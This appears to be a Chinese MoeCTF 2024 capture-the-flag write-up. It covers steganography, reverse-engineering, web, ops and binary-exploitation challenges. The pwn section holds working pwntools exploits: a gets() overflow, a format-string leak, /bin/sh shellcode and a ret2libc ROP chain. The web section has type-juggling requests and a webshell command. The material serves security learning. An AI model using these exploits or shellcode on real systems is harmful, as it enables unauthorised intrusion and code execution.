本来计划从头做到尾的,但是临近hvv有点自顾不暇了((

0x00 安全杂项

0x00 signin

把除了luo的人状态都改为签到,把luo改为缺勤。

0x01 罗小黑战记

stegsolve.jar,第110帧存在二维码,扫描即可得到flag。

0x02 杂项入门指北

海报逆时针旋转90°,可以看到摩斯密码:

···· ····- ···- · ··--·- ·- ··--·- --· ----- ----- -·· ··--·- - ·---- -- ·

CyberChef解出明文为H4VE_A_G00D_T1ME

0x03 ez_F5

根据题目名称不难猜测是F5隐写。

使用010editor打开图片可以发现图片的密码为no_password。

git clone https://github.com/matthewgao/F5-steganography
java Extract suantouwangba.jpg -p no_password

0x04 moejail_lv1

根据题目提示,得知flag在/tmp中:

__import__('subprocess').run('cd /tmp && ls -al', shell=True)
__import__('subprocess').run('cat /tmp/.thereal*', shell=True)

0x05 The upside and down

def reverse_hex_file(file_path, output_path):
    with open(file_path, 'rb') as f:
        content = f.read()
        
    hex_content = content.hex()
    
    reversed_hex_content = hex_content[::-1]
    
    reversed_bytes = bytes.fromhex(reversed_hex_content)
    
    with open(output_path, 'wb') as f:
        f.write(reversed_bytes)

input_file = '题目文件'
output_file = 'flag.png'
reverse_hex_file(input_file, output_file)

导出为一个二维码,反色后扫描即可看到flag。

0x01 逆向工程

0x00 逆向工程入门指北

pdf中给出的例子就是flag:

a = [123, 121, 115, 117, 98, 112, 109, 100, 37, 96, 37, 100, 101, 37, 73, 39,101, 73, 119, 73, 122, 121, 120, 113, 73, 122, 121, 120, 113, 73, 97, 119,111, 73, 98, 121, 73, 115, 110, 102, 122, 121, 100, 115, 107, 22]
for i in a:
     print(chr(i^22),end="")

0x01 xor

异或这一堆:

hex区看一下:

a = [0x49, 0x4B, 0x41, 0x47, 0x50, 0x42, 0x5F, 0x41, 0x1C, 0x16, 0x46, 0x10, 0x13, 0x1C, 0x40, 0x09,0x42, 0x16, 0x46, 0x1C, 0x09, 0x10, 0x10, 0x42, 0x1D, 0x09, 0x46, 0x15, 0x14, 0x14, 0x09, 0x17,0x16, 0x14, 0x41, 0x40, 0x40, 0x16, 0x14, 0x47, 0x12, 0x40, 0x14, 0x59]
for i in a:
	print(chr(i^0x24),end="")

0x02 dynamic

使用x64dbg,在00007FF75AF81EF2处下了断点,F9运行可以看到flag:

0x02 大语言模型应用安全

0x00 Neuro?

0x03 Web渗透测试与审计

0x00 弗拉格之地的入口

robots.txt -> webtutorEntry.php

0x01 ez_http

POST /?xt=%E5%A4%A7%E5%B8%85%62 HTTP/1.1
Host: 127.0.0.1:2944
sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: MoeDedicatedBrowser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: user=admin
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://www.xidian.edu.cn/
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

imoau=sb

0x02 ProveYourLove

抓包,Intruder爆破。

0x03 弗拉格之地的挑战

flag1:访问flag1ab.html,源代码中存在flag1为bW9lY3Rm

flag2:在响应头中flag2为e0FmdEV,同时响应头给出了下一步的地址为/flag3cad.php

flag3:GET传入参数a=1;POST传入b=2;Cookie添加Cookie:verify=admin,得到flag3为yX3RoMXN,下一步的地址为/flag4bbc.php

flag4:根据提示添加Referer,修改id参数为9,通过浏览器的控制台可以看到flag4为fdFVUMHJ,下一步的地址为/flag5sxr.php

flag5:抓包,POST参数“I want flag”,flag5为fSV90aDF,下一步的地址为flag6diw.php

flag6:观察给出的代码

<?php
highlight_file("flag6diw.php");
if (isset($_GET['moe']) && $_POST['moe']) {
    if (preg_match('/flag/', $_GET['moe'])) {
        die("no");
    } elseif (preg_match('/flag/i', $_GET['moe'])) {
        echo "flag6: xxx";
    }
}

这里第一步检测flag没有检测大写,所以GET传入?moe=FLAG即可,flag6为rZV9VX2t,下一步的地址为/flag7fxxkfinal.php

flag7:直接给了🐎,flag7在根目录里。what=echo `cat /flag7`;(rbm93X1dlQn0=)

0x04 静态网页

尝试抓包的时候发现了可疑的信息:

<?php
highlight_file('final1l1l_challenge.php');
error_reporting(0);
include 'flag.php';

$a = $_GET['a'];
$b = $_POST['b'];
if (isset($a) && isset($b)) {
    if (!is_numeric($a) && !is_numeric($b)) {
        if ($a == 0 && md5($a) == $b[$a]) {
            echo $flag;
        } else {
            die('noooooooooooo');
        }
    } else {
        die( 'Notice the param type!');
    }
} else {
    die( 'Where is your param?');
}

这道题我做的时候有两点坑,一是我这里Content-Length的值莫名其妙得手工改,二是代码中需要留意是$a的md5的值等于$b[$a]而不是md5($b[$a]):

POST /final1l1l_challenge.php?a=a HTTP/1.1
Host: 127.0.0.1:4469
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

b[a]=0cc175b9c0f1b6a831c399e269772661

0x04 开发与运维基础

0x00 哦不!我的libc!

参考了这个方法:戳我

下载了静态链接1.16.1版的busybox,用010editor打开,复制其16进制,用notepad++合并成一行每个前面加上’\x’,最后通过命令一次性写进去:

printf '\x7F\x45\x4C\x46\x02\x01\x01\……' > /bin/cp

亲测是可以的,但是会特别特别慢,需要耐心。

cp /bin/cp /bin/tac,这样tac命令就可以用了,直接tac /flag.txt即可。

看flag的内容,我这个做法应该是预期解((。

原理相同的另一种方法:busybox太大了,直接写汇编代码读取/flag.txt,生成一个可执行文件覆盖原有的/usr/bin下面任何一条命令。

section .text
global _start

_start:
; Open the file
mov rax, 2 ; syscall number for open
mov rdi, file_name ; filename pointer
mov rsi, 0 ; flags (O_RDONLY)
mov rdx, 0 ; mode (ignored for O_RDONLY)
syscall

; Read from the file
mov rdi, rax ; file descriptor
mov rax, 0 ; syscall number for read
mov rsi, buffer ; buffer pointer
mov rdx, 100 ; buffer size
syscall

; Write to stdout
mov rdi, 1 ; file descriptor (stdout)
mov rax, 1 ; syscall number for write
mov rsi, buffer ; buffer pointer
syscall

; Exit the program
mov rax, 60 ; syscall number for exit
mov rdi, 0 ; exit status
syscall

section .data
file_name db "/flag.txt", 0

section .bss
buffer resb 100

生成可执行文件:

nasm -f elf64 cat_flag.asm -o cat_flag.o
ld cat_flag.o -o cat_flag

0x01 哦不!我的nginx!

这题也怪busybox太大了,一写入就会崩。第一步我先按照上面的方法,用汇编写了一段shellcode,读取题目机器中的/etc/nginx/sites-enabled/default文件,查看一下开放的WEB端口:

BITS 64

section .text
global _start

_start:
; Open the file
mov rax, 2
mov rdi, file_name
mov rsi, 0
syscall

; Read from the file
mov rdi, rax
sub rsp, 128
mov rsi, rsp
mov rdx, 9128
mov rax, 0
syscall

; Print the contents
mov rdi, 1
mov rsi, rsp
mov rdx, 9128
mov rax, 1
syscall

; Exit the program
mov rax, 60
xor rdi, rdi
syscall

section .data
file_name db "/etc/nginx/sites-enabled/default", 0

执行后发现web服务是80端口:

然后研究了很久,中间的绕路就不在这里细致的写了……

首先我编写汇编代码,监听80端口,并将所有请求包内容输出到终端上,在题目机器上执行后发现客户不断访问/var/www/html/files/目录下的内容:

这样一直都不出flag。题目说“如果客户高兴的话,就会给你 flag”,在暗示如果能成功访问文件(/var/www/html/files/*),应该就会以参数的形式返回flag。

所以让chatgpt帮我写了一个C代码(汇编要做到太麻烦了),模拟http.server,持续监听端口为80,根路径为/var/www/html/:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/stat.h>

#define PORT 80
#define BUFFER_SIZE 4096
#define ROOT_DIR "/var/www/html/"

void handle_client(int client_sock) {
    char buffer[BUFFER_SIZE], method[16], url[256], filepath[512];
    int bytes_read = read(client_sock, buffer, sizeof(buffer) - 1);

    if (bytes_read > 0) {
        sscanf(buffer, "%s %s", method, url);
        printf("%s %s\n", method, url);
        snprintf(filepath, sizeof(filepath), "%s%s", ROOT_DIR, url);

        int file_fd = open(filepath, O_RDONLY);
        if (file_fd < 0) {
            write(client_sock, "HTTP/1.1 404 Not Found\r\n\r\n404 Not Found", 40);
        } else {
            struct stat file_stat;
            fstat(file_fd, &file_stat);
            snprintf(buffer, sizeof(buffer), "HTTP/1.1 200 OK\r\nContent-Length: %ld\r\n\r\n", file_stat.st_size);
            write(client_sock, buffer, strlen(buffer));
            while ((bytes_read = read(file_fd, buffer, sizeof(buffer))) > 0)
                write(client_sock, buffer, bytes_read);
            close(file_fd);
        }
    }
    close(client_sock);
}

int main() {
    int server_sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server_addr = { .sin_family = AF_INET, .sin_addr.s_addr = INADDR_ANY, .sin_port = htons(PORT) };

    bind(server_sock, (struct sockaddr*)&server_addr, sizeof(server_addr));
    listen(server_sock, 10);

    while (1) {
        int client_sock = accept(server_sock, NULL, NULL);
        if (client_sock >= 0)
            handle_client(client_sock);
    }

    close(server_sock);
    return 0;
}

记得静态编译,再用strip命令除掉不必要的调试符号:

gcc -o simple_http_server simple_http_server.c --static

文件改成\x的格式,分段使用printf传入,执行后即可接受到客户发送来的flag:

0x05 二进制漏洞审计

0x00 NotEnoughTime

算术就好,口算timeout所以需要写循环脚本。

#!/usr/bin/env python
# coding=utf-8
from pwn import *

r = remote('172.21.154.104',1212)
r.recvuntil("1 + 1 = ")
r.sendline("2")
r.recvuntil("3 - 1 =")
r.sendline("0")
r.recvuntil("PREPARED!\n")

for i in range(0,20):
    suan = r.recvuntil("=")
    suan = suan.split("\n")
    suan = "".join(suan)[:-1]
    result = str(eval(suan))
    print(result)
    r.sendline(result)

r.interactive()

0x01 no_more_gets

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s1[80]; // [rsp+0h] [rbp-A0h] BYREF
  char s2[80]; // [rsp+50h] [rbp-50h] BYREF

  init(argc, argv, envp);
  arc4random_buf(s1, 80LL);
  write(1, "This is my own shell, enter the password or get out.\n", 0x36uLL);
  gets(s2);
  if ( !strncmp(s1, s2, 0x50uLL) )
    my_shell();
  else
    write(1, "Password wrong!\n", 0x11uLL);
  return 0;
}

gets()没做任何长度限制,直接可以溢出,记得平衡一下栈:

#!/usr/bin/env python
# coding=utf-8
from pwn import *

local = 0
if local == 1:
    r=process('./lockedshell')
else:
    r = remote('192.168.64.63',1212)

r.recvuntil("out.\n")
payload = 'a'*0x50+p64(0)+p64(0x401278)
r.sendline(payload)

r.interactive()

0x02 leak_sth

unsigned __int64 func()
{
  unsigned int v0; // eax
  __int64 v2; // [rsp+0h] [rbp-40h] BYREF
  __int64 v3; // [rsp+8h] [rbp-38h]
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v0 = time(0LL);
  srand(v0);
  v3 = rand();
  puts("Welcome to MoeCTF 2024");
  puts("What's your name?");
  read(0, buf, 0x20uLL);
  puts("Your name:");
  printf(buf);
  puts("Give me the number");
  __isoc99_scanf("%ld", &v2);
  if ( v3 == v2 )
    backdoor();
  else
    puts("Nice try");
  return v5 - __readfsqword(0x28u);
}

v3等于v2时进入backdoor(),漏洞点在printf(buf)。v2可控,v3是一个随机数,可以利用格式化字符串漏洞泄露v3(rdi, rsi, rdx, rcx, r8, r9, v2, v3)的值。

#!/usr/bin/env python
# coding=utf-8
from pwn import *

local = 0
if local == 1:
    r=process('./pwn456')
else:
    r = remote('192.168.64.63',1212)

r.recvuntil("name?\n")
v3 = '%7$d'
r.sendline(v3)
r.recvuntil("Your name:\n")
flag = r.recvuntil("\n")
r.recvuntil("number\n")
r.sendline(flag)

r.interactive()

0x03 ez_shellcode

#!/usr/bin/env python
# coding=utf-8
from pwn import *

local = 1
if local == 1:
    r=process('./pwn789')
    gdb.attach(r,"b * $rebase(0x0012CD)")
else:
    r = remote('192.168.64.63',1212)

r.recvuntil("age:\n")
r.sendline('999')
r.recvuntil("gift for you :\n")
nbytes_4_addr = int(r.recvuntil("\n")[:-1],16)
shellcode = "\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"
payload = shellcode+'a'*(0x60-len(shellcode))+p64(0xdeadbeef)+p64(nbytes_4_addr)
r.recvuntil("say?\n")
r.sendline(payload)

r.interactive()

0x04 这是什么?libc!

PIE保护开了,题目给了puts函数的地址,算出libc基址再结合ROPgadget执行system(‘/bin/sh’)

#!/usr/bin/env python
# coding=utf-8
from pwn import *

local = 0
if local == 1:
    r=process('./prelibc')
    #gdb.attach(r,"b * $rebase(0x1201)")
    
else:
    r = remote('192.168.64.63',1212)
    
libc = ELF('./libc.so.6')
r.recvuntil("libc: ")
puts_addr = int(r.recvuntil(".")[:-1],16)
libc_addr = puts_addr - libc.symbols['puts']

pop_rdi_ret = libc_addr+0x000000000002a3e5
ret = libc_addr+0x0000000000029139
system = libc_addr+libc.symbols['system']
bin_sh = libc_addr+0x00000000001d8678

payload = 'a'+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(bin_sh)+p64(ret)+p64(system)
r.recvuntil("> ")
r.sendline(payload)


r.interactive()